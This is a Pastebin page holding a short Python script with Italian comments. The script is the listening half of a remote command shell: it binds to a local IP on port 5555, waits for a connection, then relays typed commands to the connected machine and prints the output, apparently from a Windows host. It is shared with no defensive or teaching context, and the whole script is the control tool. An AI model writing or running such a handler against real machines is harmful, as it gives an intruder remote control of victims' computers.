Advertisement
Guest User

Untitled

a guest
Jun 24th, 2018
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.58 KB | None | 0 0
  1. import socket, os, sys
  2. def srvCreate():
  3.         global host
  4.         global port
  5.         global s
  6.         host = '192.168.1.106'   # Nome simbolico che rappresenta il nodo locale
  7.         port = 5555              # Porta non privilegiata arbitraria
  8.        
  9.         try:
  10.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11.                 print("In ascolto..")
  12.         except socket.error as msg:
  13.                 print("socket fallito!")
  14. def srvBinding():
  15.         try:
  16.                 s.bind((host, port))
  17.                 s.listen(3)
  18.         except socket.error as msg:
  19.                 print("Binding fallito!")
  20.              
  21.  
  22. def srvAccept():
  23.         global conn
  24.         global addr
  25.         global data
  26.         try:
  27.                 conn, addr = s.accept()
  28.                 print ('Sessione Aperta con :' + addr[0],addr[1])
  29.                 print('\n')
  30.                 data = conn.recv(1024)
  31.                 print(data)
  32.                 menu()
  33.         except socket.error as msg:
  34.                 print ('connessione finita')
  35.                 s.close()
  36. def menu():
  37.         while 1:
  38.                 cmd=input(str(addr)+'ยง'+ str(data) + ('> '))
  39.                 if cmd == 'quit':
  40.                         conn.close()
  41.                         sys.exit()
  42.                 cmdb=cmd.encode()
  43.                 command = conn.send(cmdb)
  44.                 result = conn.recv(16834)
  45.                 result=result.decode('windows-1252')
  46.                 print(result)
  47.                  
  48. def main():
  49.         srvCreate()
  50.         srvBinding()
  51.         srvAccept()
  52. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement